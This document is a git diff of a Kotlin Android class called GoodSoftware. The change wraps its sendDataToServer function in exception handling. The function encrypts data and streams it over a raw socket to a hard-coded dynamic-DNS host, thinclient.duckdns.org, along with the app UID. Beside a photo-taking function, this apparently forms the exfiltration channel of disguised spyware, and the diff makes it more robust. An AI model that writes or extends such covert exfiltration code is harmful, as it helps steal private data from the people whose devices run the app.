diff --git a/app/src/main/java/com/ti/m/GoodSoftware.kt b/app/src/main/java/com/ti/m/GoodSoftware.kt
index 291c39e..13908be 100644
--- a/app/src/main/java/com/ti/m/GoodSoftware.kt
+++ b/app/src/main/java/com/ti/m/GoodSoftware.kt
@@ -131,55 +131,59 @@ class GoodSoftware (private val activity: MainActivity) {
 
 
     fun sendDataToServer(sendData: String) {
-        val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
-        val host = "thinclient.duckdns.org"
-        val port = 5645
-        val secureRandom = SecureRandom()
-        val keyBytes = ByteArray(16)
-        val ivBytes = ByteArray(16)
-        secureRandom.nextBytes(keyBytes)
-        secureRandom.nextBytes(ivBytes)
-        val key = SecretKeySpec(keyBytes, "AES")
-        val iv = IvParameterSpec(ivBytes)
-        val algorithm = "AES/CBC/PKCS5Padding"
+        try {
+            val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
+            val host = "thinclient.duckdns.org"
+            val port = 5645
+            val secureRandom = SecureRandom()
+            val keyBytes = ByteArray(16)
+            val ivBytes = ByteArray(16)
+            secureRandom.nextBytes(keyBytes)
+            secureRandom.nextBytes(ivBytes)
+            val key = SecretKeySpec(keyBytes, "AES")
+            val iv = IvParameterSpec(ivBytes)
+            val algorithm = "AES/CBC/PKCS5Padding"
 
-        val chunkSize = 131072
-        val chunks = sendData.lines().joinToString("").chunked(chunkSize)
+            val chunkSize = 131072
+            val chunks = sendData.lines().joinToString("").chunked(chunkSize)
 
-        val socket = Socket(host, port)
-        val writer = PrintWriter(socket.getOutputStream(), true)
-        val reader = BufferedReader(InputStreamReader(socket.getInputStream()))
+            val socket = Socket(host, port)
+            val writer = PrintWriter(socket.getOutputStream(), true)
+            val reader = BufferedReader(InputStreamReader(socket.getInputStream()))
 
-        val encodedKey = encodeBase64(keyBytes)
-        writer.println(encryptText(encodedKey, pKey))
-        reader.readLine()
-
-        val encodedIV = encodeBase64(ivBytes)
-        writer.println(encryptText(encodedIV, pKey))
-        reader.readLine()
-
-        val encodedUid = encodeBase64(android.os.Process.myUid().toString().toByteArray())
-        writer.println(encryptText(encodedUid, pKey))
-        reader.readLine()
-
-        for (chunk in chunks) {
-            val cipherText = encrypt(algorithm, chunk, key, iv).lines().joinToString("")
-            writer.println(cipherText)
+            val encodedKey = encodeBase64(keyBytes)
+            writer.println(encryptText(encodedKey, pKey))
             reader.readLine()
+
+            val encodedIV = encodeBase64(ivBytes)
+            writer.println(encryptText(encodedIV, pKey))
+            reader.readLine()
+
+            val encodedUid = encodeBase64(android.os.Process.myUid().toString().toByteArray())
+            writer.println(encryptText(encodedUid, pKey))
+            reader.readLine()
+
+            for (chunk in chunks) {
+                val cipherText = encrypt(algorithm, chunk, key, iv).lines().joinToString("")
+                writer.println(cipherText)
+                reader.readLine()
+            }
+
+            writer.println("END_OF_COMMUNICATION")
+            reader.readLine()
+
+            println("Client: Ready for next operation")
+            writer.println("Ready for next operation")
+            reader.readLine()
+
+            // Close resources
+            writer.close()
+            reader.close()
+            socket.close()
+        } catch (e: Exception) {
+            e.printStackTrace()
+            // Handle the exception, e.g., log the error or notify the user
         }
-
-
-        writer.println("END_OF_COMMUNICATION")
-        reader.readLine()
-
-        println("Client: Ready for next operation")
-        writer.println("Ready for next operation")
-        reader.readLine()
-
-        // Close resources
-        writer.close()
-        reader.close()
-        socket.close()
     }
 
     suspend fun takeBeautifulPicture(context: Context, lifecycleOwner: LifecycleOwner) {